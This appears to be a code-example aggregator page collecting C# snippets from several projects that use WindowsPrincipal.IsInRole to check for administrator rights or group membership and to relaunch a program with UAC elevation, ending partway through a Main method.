public static void WindowsPrincipalIsInRoleNeg()
 {
     WindowsIdentity windowsIdentity = WindowsIdentity.GetAnonymous();
     WindowsPrincipal windowsPrincipal = new WindowsPrincipal(windowsIdentity);
     var ret = windowsPrincipal.IsInRole("FAKEDOMAIN\\nonexist");
     Assert.False(ret);
 }
    protected virtual bool IsAdmin()
    {
        bool isAdmin = false;

        try
        {
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator)
                // The system account, while an admin, cannot start processes as another user.
                //
                // From MSDN:
                // You cannot call CreateProcessWithLogonW from a process that is running under
                // the "LocalSystem" account, because the function uses the logon SID in the
                // caller token, and the token for the "LocalSystem" account does not contain
                // this SID
                //
                // Thus, if running as System, skip.
                && !identity.IsSystem;
        }
        catch
        {
            isAdmin = false;
        }

        return isAdmin;
    }
        /// <summary>
        /// Get the security level of the user account.
        /// </summary>
        /// <param name="currentPrincipal"></param>
        /// <returns></returns>
        public static SecurityLevel GetSecurityLevel()
        {
            try
            {
                if ((ConfigurationManager.AppSettings.Keys.Count > 0) && (!string.IsNullOrEmpty(AppSettings.AuthorGroupName)))
                {
                    //Check if the principal for the request is member of the admin group
                    var principal = new WindowsPrincipal(securityContext.WindowsIdentity);
                    if (!principal.IsInRole(AppSettings.AuthorGroupName))
                    {
                        string message = string.Format(
                            AuthMessages.InvalidCredentials,
                            securityContext.WindowsIdentity.Name,
                            AppSettings.AuthorGroupName);
                        var ex = new UnauthorizedAccessException(message);
                        Logging.Log(LoggingValues.InvalidCredentials, System.Diagnostics.EventLogEntryType.Error, null, ex);
                        throw ex;
                    }
                }
            }
            catch (AppDomainUnloadedException)
            {
                return SecurityLevel.Offline;
            }

            catch
            {
                return SecurityLevel.NoAccess;
            }
        }
 public static bool IsAdministrator()
 {
     using (var windowsIdentity = WindowsIdentity.GetCurrent())
     {
         var windowsPrincipal = new WindowsPrincipal(windowsIdentity);
         return windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
     }
 }
        //AuthorizationHandler<T>
        protected override Task HandleRequirementAsync(AuthorizationHandlerContext context, RoleRequirement requirement)
        {
            if (!(context.User.Identity is WindowsIdentity windowsIdentity))
            {
                return(Task.CompletedTask);
            }


            var windowsUser = new WindowsPrincipal(windowsIdentity);
            var identity    = windowsUser.Identity as WindowsIdentity;

            var groupNames = from id in identity.Groups
                             select id.Translate(typeof(NTAccount)).Value;

            try
            {
                var hasRole = false;
                for (int i = 0; i < requirement.GroupName.Count(); i++)
                {
                    hasRole = windowsUser?.IsInRole(requirement.GroupName[i]) ?? false;
                    if (hasRole)
                    {
                        break;
                    }
                }

                if (hasRole)
                {
                    context.Succeed(requirement);
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }

            return(Task.CompletedTask);
        }
 public static void ByPass()
 {
     WindowsIdentity identity = WindowsIdentity.GetCurrent();
     WindowsPrincipal principal = new WindowsPrincipal(identity);
     if (principal.IsInRole(WindowsBuiltInRole.Administrator) == false)
     {
         ProcessStartInfo processInfo = new ProcessStartInfo();
         processInfo.FileName = "cmd.exe";
         processInfo.Arguments = "/c start \"\" \"" + Application.ExecutablePath + "\"";
         processInfo.Verb = "runas";
         processInfo.WindowStyle = ProcessWindowStyle.Hidden;
         try
         {
             Process.Start(processInfo);
         }
         catch (Exception)
         {
             //Probably the user canceled the UAC window
             MessageBox.Show("获取管理员权限失败!你可能无法控制某些窗口的鼠标键盘操作。", "提示");
             return;
         }
         Environment.Exit(0);
     }
 }
        protected override Task HandleRequirementAsync(AuthorizationHandlerContext context, OmsApiRequirement requirement)
        {
            if (!(context.User.Identity is WindowsIdentity windowsIdentity))
            {
                return(Task.CompletedTask);
            }

            var windowsUser = new WindowsPrincipal(windowsIdentity);

            try
            {
                var hasRole = windowsUser?.IsInRole(requirement.GroupName) ?? false;
                if (hasRole)
                {
                    context.Succeed(requirement);
                }
            }
            catch (Exception ex)
            {
                logger.LogError(ex, "Unable to check groups the user belongs too");
            }

            return(Task.CompletedTask);
        }
        /// <summary>
        /// Возвращает, есть ли у текущего пользователя права администратора
        /// </summary>
        public static bool IsAdmin()
        {
            var pricipal = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            return pricipal.IsInRole(WindowsBuiltInRole.Administrator);
        }
Exemple #9
0
    internal const int BCM_SETSHIELD = (BCM_FIRST + 0x000C); //Elevated button

    #endregion Fields

    #region Methods

    public static bool amAdmin()
    {
        WindowsIdentity id = WindowsIdentity.GetCurrent();
        WindowsPrincipal p = new WindowsPrincipal(id);
        return p.IsInRole(WindowsBuiltInRole.Administrator);
    }
Exemple #10
0
 private bool IsCurrentUserAdmin()
 {
     bool Result; try { WindowsPrincipal UP = new WindowsPrincipal(WindowsIdentity.GetCurrent()); Result = UP.IsInRole(WindowsBuiltInRole.Administrator); } catch { Result = false; } return(Result);
 }
Exemple #11
0
        public static List <LogInfo> SystemCmd(EngineState s, CodeCommand cmd)
        {
            List <LogInfo> logs = new List <LogInfo>();

            Debug.Assert(cmd.Info.GetType() == typeof(CodeInfo_System));
            CodeInfo_System info = cmd.Info as CodeInfo_System;

            SystemType type = info.Type;

            switch (type)
            {
            case SystemType.Cursor:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_Cursor));
                SystemInfo_Cursor subInfo = info.SubInfo as SystemInfo_Cursor;

                string iconStr = StringEscaper.Preprocess(s, subInfo.IconKind);

                if (iconStr.Equals("WAIT", StringComparison.OrdinalIgnoreCase))
                {
                    Application.Current?.Dispatcher.Invoke(() =>
                        {
                            System.Windows.Input.Mouse.OverrideCursor = System.Windows.Input.Cursors.Wait;
                        });
                    logs.Add(new LogInfo(LogState.Success, "Mouse cursor icon set to [Wait]"));
                }
                else if (iconStr.Equals("NORMAL", StringComparison.OrdinalIgnoreCase))
                {
                    Application.Current?.Dispatcher.Invoke(() =>
                        {
                            System.Windows.Input.Mouse.OverrideCursor = null;
                        });
                    logs.Add(new LogInfo(LogState.Success, "Mouse cursor icon set to [Normal]"));
                }
                else
                {
                    logs.Add(new LogInfo(LogState.Error, $"Wrong mouse cursor icon [{iconStr}]"));
                }
            }
            break;

            case SystemType.ErrorOff:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_ErrorOff));
                SystemInfo_ErrorOff subInfo = info.SubInfo as SystemInfo_ErrorOff;

                string linesStr = StringEscaper.Preprocess(s, subInfo.Lines);
                if (!NumberHelper.ParseInt32(linesStr, out int lines))
                {
                    throw new ExecuteException($"[{linesStr}] is not a valid integer");
                }
                if (lines <= 0)
                {
                    throw new ExecuteException($"[{linesStr}] must be positive integer");
                }

                // +1 to not count ErrorOff itself
                s.ErrorOffSection      = cmd.Addr.Section;
                s.ErrorOffStartLineIdx = cmd.LineIdx + 1;
                s.ErrorOffLineCount    = lines;

                logs.Add(new LogInfo(LogState.Success, $"Error is off for [{lines}] lines"));
            }
            break;

            case SystemType.GetEnv:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_GetEnv));
                SystemInfo_GetEnv subInfo = info.SubInfo as SystemInfo_GetEnv;

                string envVarName  = StringEscaper.Preprocess(s, subInfo.EnvVarName);
                string envVarValue = Environment.GetEnvironmentVariable(envVarName);
                if (envVarValue == null)         // Failure
                {
                    logs.Add(new LogInfo(LogState.Ignore, $"Cannot get environment variable [%{envVarName}%]'s value"));
                    envVarValue = string.Empty;
                }

                logs.Add(new LogInfo(LogState.Success, $"Environment variable [{envVarName}]'s value is [{envVarValue}]"));
                List <LogInfo> varLogs = Variables.SetVariable(s, subInfo.DestVar, envVarValue);
                logs.AddRange(varLogs);
            }
            break;

            case SystemType.GetFreeDrive:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_GetFreeDrive));
                SystemInfo_GetFreeDrive subInfo = info.SubInfo as SystemInfo_GetFreeDrive;

                DriveInfo[] drives         = DriveInfo.GetDrives();
                string      letters        = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
                char        lastFreeLetter = letters.Except(drives.Select(d => d.Name[0])).LastOrDefault();

                if (lastFreeLetter != '\0')         // Success
                {
                    logs.Add(new LogInfo(LogState.Success, $"Last free drive letter is [{lastFreeLetter}]"));
                    List <LogInfo> varLogs = Variables.SetVariable(s, subInfo.DestVar, lastFreeLetter.ToString());
                    logs.AddRange(varLogs);
                }
                else         // No Free Drives
                {
                    // TODO: Is it correct WB082 behavior?
                    logs.Add(new LogInfo(LogState.Ignore, "No free drive letter"));
                    List <LogInfo> varLogs = Variables.SetVariable(s, subInfo.DestVar, string.Empty);
                    logs.AddRange(varLogs);
                }
            }
            break;

            case SystemType.GetFreeSpace:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_GetFreeSpace));
                SystemInfo_GetFreeSpace subInfo = info.SubInfo as SystemInfo_GetFreeSpace;

                string path = StringEscaper.Preprocess(s, subInfo.Path);

                FileInfo  f           = new FileInfo(path);
                DriveInfo drive       = new DriveInfo(f.Directory.Root.FullName);
                long      freeSpaceMB = drive.TotalFreeSpace / (1024 * 1024);    // B to MB

                List <LogInfo> varLogs = Variables.SetVariable(s, subInfo.DestVar, freeSpaceMB.ToString());
                logs.AddRange(varLogs);
            }
            break;

            case SystemType.IsAdmin:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_IsAdmin));
                SystemInfo_IsAdmin subInfo = info.SubInfo as SystemInfo_IsAdmin;

                bool isAdmin;
                using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
                {
                    WindowsPrincipal principal = new WindowsPrincipal(identity);
                    isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
                }

                if (isAdmin)
                {
                    logs.Add(new LogInfo(LogState.Success, "PEBakery is running as Administrator"));
                }
                else
                {
                    logs.Add(new LogInfo(LogState.Success, "PEBakery is not running as Administrator"));
                }

                List <LogInfo> varLogs = Variables.SetVariable(s, subInfo.DestVar, isAdmin.ToString());
                logs.AddRange(varLogs);
            }
            break;

            case SystemType.OnBuildExit:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_OnBuildExit));
                SystemInfo_OnBuildExit subInfo = info.SubInfo as SystemInfo_OnBuildExit;

                s.OnBuildExit = subInfo.Cmd;

                logs.Add(new LogInfo(LogState.Success, "OnBuildExit callback registered"));
            }
            break;

            case SystemType.OnScriptExit:
            case SystemType.OnPluginExit:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_OnPluginExit));
                SystemInfo_OnPluginExit subInfo = info.SubInfo as SystemInfo_OnPluginExit;

                s.OnPluginExit = subInfo.Cmd;

                logs.Add(new LogInfo(LogState.Success, "OnPluginExit callback registered"));
            }
            break;

            case SystemType.RefreshInterface:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_RefreshInterface));
                SystemInfo_RefreshInterface subInfo = info.SubInfo as SystemInfo_RefreshInterface;

                AutoResetEvent resetEvent = null;
                Application.Current?.Dispatcher.Invoke(() =>
                    {
                        MainWindow w = (Application.Current.MainWindow as MainWindow);
                        resetEvent   = w.StartReloadPluginWorker();
                    });
                if (resetEvent != null)
                {
                    resetEvent.WaitOne();
                }

                logs.Add(new LogInfo(LogState.Success, $"Rerendered plugin [{cmd.Addr.Plugin.Title}]"));
            }
            break;

            case SystemType.RescanScripts:
            case SystemType.LoadAll:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_LoadAll));
                SystemInfo_LoadAll subInfo = info.SubInfo as SystemInfo_LoadAll;

                // Reload Project
                AutoResetEvent resetEvent = null;
                Application.Current?.Dispatcher.Invoke(() =>
                    {
                        MainWindow w = (Application.Current.MainWindow as MainWindow);
                        resetEvent   = w.StartLoadWorker(true);
                    });
                if (resetEvent != null)
                {
                    resetEvent.WaitOne();
                }

                logs.Add(new LogInfo(LogState.Success, $"Reload project [{cmd.Addr.Plugin.Project.ProjectName}]"));
            }
            break;

            case SystemType.Load:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_Load));
                SystemInfo_Load subInfo = info.SubInfo as SystemInfo_Load;

                string       filePath     = StringEscaper.Preprocess(s, subInfo.FilePath);
                SearchOption searchOption = SearchOption.TopDirectoryOnly;
                if (subInfo.NoRec)
                {
                    searchOption = SearchOption.AllDirectories;
                }

                // Check wildcard
                string wildcard         = Path.GetFileName(filePath);
                bool   containsWildcard = (wildcard.IndexOfAny(new char[] { '*', '?' }) != -1);

                string[] files;
                if (containsWildcard)
                {         // With wildcard
                    files = FileHelper.GetFilesEx(FileHelper.GetDirNameEx(filePath), wildcard, searchOption);
                    if (files.Length == 0)
                    {
                        logs.Add(new LogInfo(LogState.Error, $"Plugin [{filePath}] does not exist"));
                        return(logs);
                    }
                }
                else
                {         // No wildcard
                    if (!File.Exists(filePath))
                    {
                        logs.Add(new LogInfo(LogState.Error, $"Plugin [{filePath}] does not exist"));
                        return(logs);
                    }

                    files = new string[1] {
                        filePath
                    };
                }

                int successCount = 0;
                foreach (string f in files)
                {
                    string pFullPath = Path.GetFullPath(f);

                    // Does this file already exists in project.AllPlugins?
                    Project project = cmd.Addr.Project;
                    if (project.ContainsPluginByFullPath(pFullPath))
                    {         // Project Tree conatins this plugin, so just refresh it
                        // RefreshPlugin -> Update Project.AllPlugins
                        // TODO: Update EngineState.Plugins?
                        Plugin p = Engine.GetPluginInstance(s, cmd, cmd.Addr.Plugin.FullPath, pFullPath, out bool inCurrentPlugin);
                        p = s.Project.RefreshPlugin(p);
                        if (p == null)
                        {
                            logs.Add(new LogInfo(LogState.Error, $"Unable to refresh plugin [{pFullPath}]"));
                            continue;
                        }

                        // Update MainWindow and redraw Plugin
                        Application.Current?.Dispatcher.Invoke(() =>
                            {
                                MainWindow w = (Application.Current.MainWindow as MainWindow);

                                w.UpdatePluginTree(project, false);
                                if (p.Equals(w.CurMainTree.Plugin))
                                {
                                    w.CurMainTree.Plugin = p;
                                    w.DrawPlugin(w.CurMainTree.Plugin);
                                }
                            });

                        logs.Add(new LogInfo(LogState.Success, $"Refreshed plugin [{f}]"));
                        successCount += 1;
                    }
                    else
                    {         // Add plugins into Project.AllPlugins
                        Plugin p = cmd.Addr.Project.LoadPluginMonkeyPatch(pFullPath, true, false);
                        if (p == null)
                        {
                            logs.Add(new LogInfo(LogState.Error, $"Unable to load plugin [{pFullPath}]"));
                            continue;
                        }

                        // Update MainWindow.MainTree and redraw Plugin
                        Application.Current?.Dispatcher.Invoke(() =>
                            {
                                MainWindow w = (Application.Current.MainWindow as MainWindow);

                                w.UpdatePluginTree(project, false);
                                if (p.Equals(w.CurMainTree.Plugin))
                                {
                                    w.CurMainTree.Plugin = p;
                                    w.DrawPlugin(w.CurMainTree.Plugin);
                                }
                            });

                        logs.Add(new LogInfo(LogState.Success, $"Loaded plugin [{f}], added to plugin tree"));
                        successCount += 1;
                    }
                }

                if (1 < files.Length)
                {
                    logs.Add(new LogInfo(LogState.Success, $"Refresh or loaded [{successCount}] plugins"));
                }
            }
            break;

            case SystemType.SaveLog:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_SaveLog));
                SystemInfo_SaveLog subInfo = info.SubInfo as SystemInfo_SaveLog;

                string destPath     = StringEscaper.Preprocess(s, subInfo.DestPath);
                string logFormatStr = StringEscaper.Preprocess(s, subInfo.LogFormat);

                LogExportType logFormat = Logger.ParseLogExportType(logFormatStr);

                if (s.DisableLogger == false)
                {         // When logger is disabled, s.BuildId is invalid.
                    s.Logger.Build_Write(s, new LogInfo(LogState.Success, $"Exported Build Logs to [{destPath}]", cmd, s.CurDepth));
                    s.Logger.ExportBuildLog(logFormat, destPath, s.BuildId);
                }
            }
            break;

            case SystemType.SetLocal:
            {         // SetLocal
                // No SystemInfo
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo));

                Engine.EnableSetLocal(s, cmd.Addr.Section);

                logs.Add(new LogInfo(LogState.Success, "Local variables are isolated"));
            }
            break;

            case SystemType.EndLocal:
            {         // EndLocal
                // No CodeInfo
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo));

                Engine.DisableSetLocal(s, cmd.Addr.Section);

                logs.Add(new LogInfo(LogState.Success, "Local variables are no longer isolated"));
            }
            break;

            // WB082 Compatibility Shim
            case SystemType.HasUAC:
            {
                Debug.Assert(info.SubInfo.GetType() == typeof(SystemInfo_HasUAC));
                SystemInfo_HasUAC subInfo = info.SubInfo as SystemInfo_HasUAC;

                logs.Add(new LogInfo(LogState.Warning, $"[System,HasUAC] is deprecated"));

                // Deprecated, WB082 Compability Shim
                List <LogInfo> varLogs = Variables.SetVariable(s, subInfo.DestVar, "True");
                logs.AddRange(varLogs);
            }
            break;

            case SystemType.FileRedirect:     // Do nothing
                logs.Add(new LogInfo(LogState.Ignore, $"[System,FileRedirect] is not necessary in PEBakery"));
                break;

            case SystemType.RegRedirect:     // Do nothing
                logs.Add(new LogInfo(LogState.Ignore, $"[System,RegRedirect] is not necessary in PEBakery"));
                break;

            case SystemType.RebuildVars:
            {         // Reset Variables to clean state
                s.Variables.ResetVariables(VarsType.Fixed);
                s.Variables.ResetVariables(VarsType.Global);
                s.Variables.ResetVariables(VarsType.Local);

                // Load Global Variables
                List <LogInfo> varLogs;
                varLogs = s.Variables.LoadDefaultGlobalVariables();
                logs.AddRange(LogInfo.AddDepth(varLogs, s.CurDepth + 1));

                // Load Per-Plugin Variables
                varLogs = s.Variables.LoadDefaultPluginVariables(cmd.Addr.Plugin);
                logs.AddRange(LogInfo.AddDepth(varLogs, s.CurDepth + 1));

                // Load Per-Plugin Macro
                s.Macro.ResetLocalMacros();
                varLogs = s.Macro.LoadLocalMacroDict(cmd.Addr.Plugin, false);
                logs.AddRange(LogInfo.AddDepth(varLogs, s.CurDepth + 1));

                logs.Add(new LogInfo(LogState.Success, $"Variables are reset to default state"));
            }
            break;

            default:     // Error
                throw new InvalidCodeCommandException($"Wrong SystemType [{type}]");
            }

            return(logs);
        }
Exemple #12
0
        private void AppOnStartup(object sender, StartupEventArgs e)
        {
            // 중복 창 존재 시 종료
            bool isOwned = false;

            this.mutex = new Mutex(true, UniqueMutexName, out isOwned);
            if (!isOwned)
            {
                this.Shutdown();
            }

            /// TextBlock 기본 스타일
            /// DPI에 따라 폰트 스타일 변경하기
            //Style textBlockBaseStyle = new Style
            //{
            //    TargetType = typeof(TextBlock)
            //};

            //textBlockBaseStyle.Setters.Add(new Setter(TextBlock.ForegroundProperty, View.Colors.White));
            //if (Util.Common.GetDpiScale() <= 1.0)
            //    textBlockBaseStyle.Setters.Add(new Setter(TextBlock.FontFamilyProperty, new FontFamily("Dotum")));
            //else
            //    textBlockBaseStyle.Setters.Add(new Setter(TextBlock.FontFamilyProperty, new FontFamily("Segoe UI,Malgun Gothic")));
            //textBlockBaseStyle.Setters.Add(new Setter(TextBlock.FontSizeProperty, (double)12.0));
            //Application.Current.Resources["TextBlockBaseStyle"] = textBlockBaseStyle;

            /// 로그 설정
            var config = new LoggingConfiguration();

            // console log

            /*
             * var logconsole = new ColoredConsoleTarget("logconsole");
             * logconsole.Layout = new SimpleLayout() { Text = "${date:format=yyyy-MM-dd HH\\:mm\\:ss} ${level:uppercase=true:padding=-5} [${logger}] ${message} ${exception:format=tostring}" };
             * config.AddRule(NLog.LogLevel.Trace, NLog.LogLevel.Fatal, logconsole);
             */

            var logfile = new FileTarget("logfile");

            logfile.FileName = "${basedir}/Logs/${date:format=yyyy-MM-dd}.log";
            logfile.Layout   = new SimpleLayout()
            {
                Text = "${date:format=yyyy-MM-dd HH\\:mm\\:ss} ${level:uppercase=true:padding=-5} [${logger}] ${message} ${exception:format=tostring}"
            };
            config.AddRule(NLog.LogLevel.Trace, NLog.LogLevel.Fatal, logfile);

            LogManager.Configuration = config;

            App.LogLevel = Config.Setting.logLevel;

            /// 언어 체크
            LanguageResources.Instance.CultureName = Config.Setting.language;

            /// 버전 체크
            Config.TryLoadVersion();
            if (Config.Setting.checkUpdate)
            {
                if (Config.IsLatestVersion() == false)
                {
                    MessageBoxResult choose = MessageBox.Show(
                        string.Format(LanguageResources.Instance["VERSION_CHECK_CONTENT"], Config.latest_version), LanguageResources.Instance["VERSION_CHECK_TITLE"],
                        MessageBoxButton.YesNo, MessageBoxImage.Exclamation, MessageBoxResult.Yes, MessageBoxOptions.DefaultDesktopOnly);
                    if (choose == MessageBoxResult.Yes)
                    {
                        System.Diagnostics.Process.Start(Config.latest_download_url);
                        Application.Current.Shutdown();
                    }
                }
            }

            /// 툴팁 지속시간 무한
            ToolTipService.ShowDurationProperty.OverrideMetadata(typeof(DependencyObject), new FrameworkPropertyMetadata(Int32.MaxValue));

            /// 창 색상 설정
            string color      = Config.Window.windowColor;
            Regex  colorRegex = new Regex("^(?:[0-9a-fA-F]{3}){1,2}$");

            if (colorRegex.Match(color).Success)
            {
                //MessageBox.Show("is color hex");
                Color primaryColor1 = (Color)ColorConverter.ConvertFromString("#FF" + color);
                Color primaryColor2 = (Color)ColorConverter.ConvertFromString("#AA" + color);
                Color primaryColor3 = (Color)ColorConverter.ConvertFromString("#00" + color);

                // 색상 변경
                SolidColorBrush primaryBrush1 = new SolidColorBrush(primaryColor1);
                SolidColorBrush primaryBrush2 = new SolidColorBrush(primaryColor2);
                Application.Current.Resources["PrimaryBrush"]         = primaryBrush1;
                Application.Current.Resources["PrimaryDeactiveBrush"] = primaryBrush2;
                Application.Current.Resources["WindowActiveBrush"]    = primaryBrush1;
                Application.Current.Resources["WindowDeactiveBrush"]  = primaryBrush2;
            }

            // Administrator Privilege Check
            using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
            {
                WindowsPrincipal principal = new WindowsPrincipal(identity);
                isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);
            }

            /// 에러 핸들러
            this.Dispatcher.UnhandledException += OnDispatcherUnhandledException;
        }
Exemple #13
0
        public ConsoleNotify(string notifyText, bool createNew, bool administrative = false)
        {
            if (!createNew)
            {
                var proc = Process.GetCurrentProcess();
                var q    = from t in Process.GetProcessesByName(proc.ProcessName)
                           where t.Id != proc.Id
                           select t.MainWindowHandle;
                if (q.Any())
                {
                    ShowWindow(q.First(), 5);
                }
                else
                {
                    Console.Out.WriteError("控制台已启动,按任意键退出。");
                    Console.Read();
                }
                Environment.Exit(0);
            }
            if (administrative)
            {
                var  principal          = new WindowsPrincipal(WindowsIdentity.GetCurrent());
                bool administrativeMode = principal.IsInRole(WindowsBuiltInRole.Administrator);
                if (!administrativeMode)
                {
                    var startInfo = new ProcessStartInfo();
                    //startInfo.FileName = GetExecPath();
                    startInfo.FileName = Application.ExecutablePath;
                    startInfo.Verb     = "runas";
                    try
                    {
                        Process.Start(startInfo);
                        Environment.Exit(0);
                    }
                    catch (Exception ex)
                    {
                        App.LogError(ex, "administrativeMode");
                    }
                }
            }

            var stream = App.GetResourceStream(string.Format("{0}.favicon.ico", typeof(ConsoleNotify).Namespace));

            if (stream == null)
            {
                throw new InvalidOperationException("未嵌入NotifyIcon源");
            }
            _notify = new NotifyIcon()
            {
                Visible          = _visible,
                Icon             = new Icon(stream),
                Text             = notifyText,
                ContextMenuStrip = new ContextMenuStrip()
                {
                    RenderMode = ToolStripRenderMode.System
                }
            };
            _notify.MouseClick += (sender, e) =>
            {
                if (e.Button == MouseButtons.Left)
                {
                    Visible = !Visible;
                }
            };
            this.InitMenu();
        }
Exemple #14
0
        static void Main(string[] args)
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            // Attempt to open a restricted resource (see if we're administrator)
            frmSplash splash = new frmSplash();

            splash.Show();
            try
            {
                StringBuilder argString = new StringBuilder();

#if !DEBUG
                WindowsIdentity  identity  = WindowsIdentity.GetCurrent();
                WindowsPrincipal principal = new WindowsPrincipal(identity);
                if (Environment.OSVersion.Platform == PlatformID.Win32NT &&
                    !principal.IsInRole(WindowsBuiltInRole.Administrator))
                {
                    string cmdLine = Environment.CommandLine.Substring(Environment.CommandLine.IndexOf(".exe") + 4);
                    cmdLine = cmdLine.Contains(' ') ? cmdLine.Substring(cmdLine.IndexOf(" ")) : null;
                    ProcessStartInfo psi = new ProcessStartInfo(Assembly.GetEntryAssembly().Location, cmdLine);
                    psi.Verb = "runas";
                    Trace.TraceInformation("Not administrator!");
                    Process proc = Process.Start(psi);
                    Application.Exit();
                    return;
                }
#endif

                // Scan for configuration options
                ConfigurationApplicationContext.Initialize();
                ConfigurationApplicationContext.s_configurationPanels.Add(new OpenIZAboutPanel());
                splash.Close();
#if DEBUG
                ConfigurationApplicationContext.s_configFile = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "OpenIZ.exe.config.test");
#else
                ConfigurationApplicationContext.s_configFile = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "OpenIZ.exe.config");
#endif
                ParameterParser <ConsoleParameters> parser = new ParameterParser <ConsoleParameters>();

                var consoleParms = parser.Parse(args);

                if (consoleParms.ListDeploy)
                {
                    StringBuilder options = new StringBuilder("Available deployment modules: \r\n");
                    foreach (var pnl in ConfigurationApplicationContext.s_configurationPanels.OfType <IScriptableConfigurableFeature>())
                    {
                        options.AppendFormat("{0}\r\n", pnl.Name);
                    }
                    MessageBox.Show(options.ToString());
                }
                else if (consoleParms.Deploy != null && consoleParms.Deploy.Count > 0)
                {
                    try
                    {
                        DeployUtil.Deploy(consoleParms.Deploy, consoleParms.Options);
                        ConfigurationApplicationContext_ConfigurationApplied(null, EventArgs.Empty);
                    }
                    catch (Exception e)
                    {
                        MessageBox.Show(String.Format("Could not deploy requested component : {0}", e), "Error Deploying");
                    }
                }
                else
                {
                    ConfigurationApplicationContext.s_configurationPanels.Sort((a, b) => a.Name.CompareTo(b.Name));
                    ConfigurationApplicationContext.ConfigurationApplied += new EventHandler(ConfigurationApplicationContext_ConfigurationApplied);

                    // Allow data services to use the application context
                    MARC.HI.EHRS.SVC.Core.ApplicationContext.Current.AddServiceProvider(typeof(FileConfigurationService));

                    // Configuration File exists?
                    if (!File.Exists(ConfigurationApplicationContext.s_configFile))
                    {
                        frmStartScreen start = new frmStartScreen();
                        if (start.ShowDialog() == DialogResult.Cancel)
                        {
                            return;
                        }
                    }

                    MARC.HI.EHRS.SVC.Core.ApplicationContext.Current.GetService <FileConfigurationService>().Open(ConfigurationApplicationContext.s_configFile);
                    try
                    {
                        MARC.HI.EHRS.SVC.Core.ApplicationContext.Current.Start();
                    }
                    catch { }

                    // Now we need to deploy
                    Application.Run(new frmMain());
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
                Trace.TraceError(e.ToString());
                MessageBox.Show(e.ToString());
            }
            finally
            {
                splash.Dispose();
            }
        }
Exemple #15
0
        public static bool HasAdministrativeRight()
        {
            WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            return(principal.IsInRole(WindowsBuiltInRole.Administrator));
        }
        static void Main(String[] args)
        {
            String  scriptsLocation = null;
            Boolean exportData      = false;
            int     formNum         = -1;

            foreach (String argument in args)
            {
                // Deve compilar os scripts de banco (T-SQL) em um XML
                if (argument.ToUpper().Contains("/X:"))
                {
                    scriptsLocation = ArgumentParser.GetValue(argument);
                }
                // Deve exportar as tabelas do banco
                if (argument.ToUpper().Contains("/E"))
                {
                    exportData = true;
                }
                // Recebe como argumento o número do Form por onde a execução deve começar
                if (argument.ToUpper().Contains("/F:"))
                {
                    formNum = ArgumentParser.GetValue(argument, -1);
                }
                // Recebe como argumento o servidor de banco, o usuário e senha
                // Faz a verificação .Contains("/S:") .Contains("/U:") .Contains("/P:") dentro do
                // método DBAccess.GetDbAccess(args)
            }

            // Compila os scripts de banco caso o parâmetro /X tenha sido recebido bem como o caminho
            if (scriptsLocation != null)
            {
                BuildScriptsXml(scriptsLocation);
                return; // Encerra a execução do instalador
            }

            // Busca parâmetros de conexão na linha de comando, caso existam
            DBAccess saAccess = null;

            saAccess = DBAccess.GetDbAccess(args);

            // Exporta as tabelas caso o parâmetro /E tenha sido recebido bem como os parâmetros de conexão
            if ((exportData) && (saAccess != null))
            {
                ExportData(saAccess);
                return; // Encerra a execução do instalador
            }

            // Verifica se o instalador está sendo executado com permissões administrativas
            WindowsIdentity  windowsIdentity  = WindowsIdentity.GetCurrent();
            WindowsPrincipal windowsPrincipal = new WindowsPrincipal(windowsIdentity);
            Boolean          executingAsAdmin = windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);

            // Para debugar este programa execute o Visual Studio como administrador, caso contrário
            // o programa não vai parar nos "breakpoints" (isso se deve ao código de controle do UAC)
            Process process = Process.GetCurrentProcess();

            if ((process.ProcessName.ToUpper().Contains("VSHOST")) && (!executingAsAdmin))
            {
                String errorMessage = "Execute o Visual Studio com permissões administrativas para debugar!";
                MessageBox.Show(errorMessage, "Erro", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            // Verifica se a caixa de dialogo do UAC (User Account Control) é necessária
            if (!executingAsAdmin)
            {
                // Pede elevação de privilégios (executa como administrador se o usuário concordar), o programa
                // atual é encerrado e uma nova instancia é executada com os privilégios concedidos
                ProcessStartInfo processInfo = new ProcessStartInfo();
                processInfo.Verb     = "runas";
                processInfo.FileName = Application.ExecutablePath;
                try { Process.Start(processInfo); } catch { }
                return;
            }

            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.Run(new MainForm(saAccess, formNum));
        }
Exemple #17
0
        internal static bool IsRunAsAdmin()
        {
            var Principle = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            return(Principle.IsInRole(WindowsBuiltInRole.Administrator));
        }
Exemple #18
0
        private static int Main(string[] args)
        {
            Arguments arguments;

            try
            {
                arguments = new Arguments(args);
            }
